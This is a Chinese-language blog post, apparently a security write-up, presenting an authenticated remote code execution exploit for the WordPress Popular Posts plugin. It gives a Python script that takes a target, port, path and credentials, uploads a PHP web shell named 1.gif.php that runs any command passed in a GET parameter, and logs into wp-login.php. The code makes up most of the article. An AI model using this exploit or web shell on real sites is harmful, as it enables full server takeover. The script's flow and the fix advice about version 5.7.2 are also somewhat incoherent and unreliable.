WordPress插件流行帖子远程代码执行加脚本编写

前言

WordPress大家应该都熟悉,好多博客用的都是wordpress,而它也是漏洞不断,今天我给大家带来的是最新发现的WordPress插件漏洞,看这篇文章的白帽们如果对之前的WordPress漏洞完全不懂的话可能会有点懵,我也会带大家写一下脚本。

漏洞分析

利用条件:
插件:wordpress-popular-posts
利用插件的话必须是登录状态,我们之前对一wordpress系统做了灰盒测试,是个大站,甲方并没有给密码,不过给了几个插件

应甲方的要求,我们如果找出漏洞,还要有相应的测试脚本(可能是不放心吧,要自己测试),此漏洞需要五个条件,分别是ip,端口,路径,用户名,密码
所以第一步:

 
  1. my_parser = argparse.ArgumentParser(des cription='Wordpress Popular ')
  2. my_parser.add_argument('-t', help='--Target IP', m etavar='IP', type=str, required=True, dest="target_ip")
  3. my_parser.add_argument('-p', help='--Target port', type=str, m etavar='PORT', default='80', dest="target_port")
  4. my_parser.add_argument('-w', help='--Wordpress path (ie. /wordpress/)',m etavar='PATH', type=str, required=True, dest="wp_path")
  5. my_parser.add_argument('-U', help='--Username', m etavar='USER', type=str, required=True, dest="username")
  6. my_parser.add_argument('-P', help='--Password', m etavar='PASS', type=str, required=True, dest="password")
  7. args = my_parser.parse_args()
  8. target_ip = args.target_ip
  9. target_port = args.target_port
  10. wp_path = args.wp_path
  11. username = args.username
  12. password = args.password

共五个条件。
原理:
使用提供的凭据登录,创建一个新的post,并添加一个自定义字段,其中包含指向webshell,它将由服务器自动下载。
wordpress-popular-posts的执行流程:
WordPress读取此文件以在插件中生成插件信息

*行政区。这个文件还包括插件使用的所有依赖项,

*注册激活和停用函数,并定义一个函数

*启动插件

可以看出插件信息绑定在了admin_notices。
接着我们去找它的上传处,在这里

插件的image.php定义了上传图片的控制器,图片最终还是传给了wordpress-popular-posts,整个漏洞上传流程已经完毕。

漏洞利用(脚本)

wordpress会对上传文件名后第一个后缀进行检测,所以我们上传1.gif.php

 
  1. shell_name = '1.gif.php'
  2. payload = 'GIF <!DOCTYPE html>
  3. <html lang="en">
  4. <head>
  5. <m eta charset="UTF-8">
  6. <title>Title</title>
  7. </head>
  8. <body>
  9. <form method="GET" name="<?php echo b asename($_SERVER['PHP_SELF']); ?>">
  10. <input type="TEXT" name="cmd" autofocus id="cmd" size="80">
  11. <input type="SUBMIT" value="Execute">
  12. </form>
  13. <pre>
  14. <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
  15. </pre>
  16. </body>
  17. </html>'
  18. file_json = requests.post('http://'+target_ip + ':' + target_port+'/src/image.php', files={ 'file' : (shell_name, payload)})
  19. resp = json.loads(file_json.text)
  20. if resp['status']:
  21. urlshort = resp['data']['file']['url']['full']
  22. else:
  23. print(f'[-] Error:'+ resp['error']['message'])
  24. exit()
  25. file_uploaded_site = requests.get(urlshort).text
  26. PHP_URL = re.findall(r"(https?://\S+)("+shell_name+")",file_uploaded_site)[0][0] + shell_name

注意一定要用json.loads将json格式的文件转换成字典的形式(因为我们要判断是否上传成功),最后我们登录并把会话信息发出去

 
  1. session = requests.Session()
  2. auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'
  3. header = {
  4. 'Host': target_ip,
  5. 'User-Agent': 'Monies Browser 1.0',
  6. 'Accept': 'text/html,application/xhtml+x ml,application/x ml;q=0.9,image/webp,*/*;q=0.8',
  7. 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
  8. 'Accept-Encoding': 'gzip, deflate',
  9. 'Content-Type': 'application/x-www-form-urlencoded',
  10. 'Origin': 'http://' + target_ip,
  11. 'Connection': 'close',
  12. 'Upgrade-Insecure-Requests': '1'
  13. }
  14. body = {
  15. 'log': username,
  16. 'pwd': password,
  17. 'wp-submit': 'Log In',
  18. 'testcookie': '1'
  19. }

下面是甲方的脚本执行结果

结论

WordPress读取wordpress-popular-posts插件并没有去验证此插件信息的安全性,经过验证即使是现在WordPress也并没有对wordpress-popular-posts做出修改,5.7.2不过加了对此插件的验证,所以现在的解决方法就是将WordPress升级到最新5.7.2,我个人建议还是不要去用wordpress-popular-posts上传文件了。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
WordPress 热门文章Wordpress Popular Posts2.0.3汉化中文包 作者:Héctor Cabrera Wordpress Popular Posts是一个显示在您的博客最受欢迎的日志工具挂件。你还可以用它作为模板标签。 重要提醒:从版本2.0开始,Wordpress Popular Posts需要至少要是WordPress2.8版本才能正常工作。如果你当前没有运行WordPress 2.8版本或是无法更新您的博客,请不要升级或安装2.x版本! 警告:如果您是从任何1.4.6之前的版本升级,请先升级到1.4.6然后再转到2.X! 最新更新 Wordpress Popular Posts现已支持多挂件!在你的侧栏安装多个Wordpress Popular Posts实例,并分别独立设置! 简码支持! – 从版本2.0开始,您还可以在页面上展示你最受欢迎的日志! WP-Cache和WP Super Cache 现已支持!从版本2.0起,Wordpress Popular Posts完全兼容缓存件! 分类排斥 – 要在表单上排除某些分类?使用排除分类设置! 新增WP-PostRatings投票支持!向访客显示您的读者如何评价该篇文章! 数据库改进 – Wordpress Popular Posts 现使用更少的空间来缓存您最热门的日志模板标签! – 不喜欢小工具栏?没问题!您仍然可以使用get_mostpopular()模板标签在你的主题中嵌入最热门的内容。此外,一个新的标签已被列入此版本: 使用方法: 下载汉化包解压后上传到/wp-content/plugins/wordpress-popular-posts/上目录即可 Wordpress Popular Posts2.0.3汉化中文包截图:

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

qq_1136014935

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值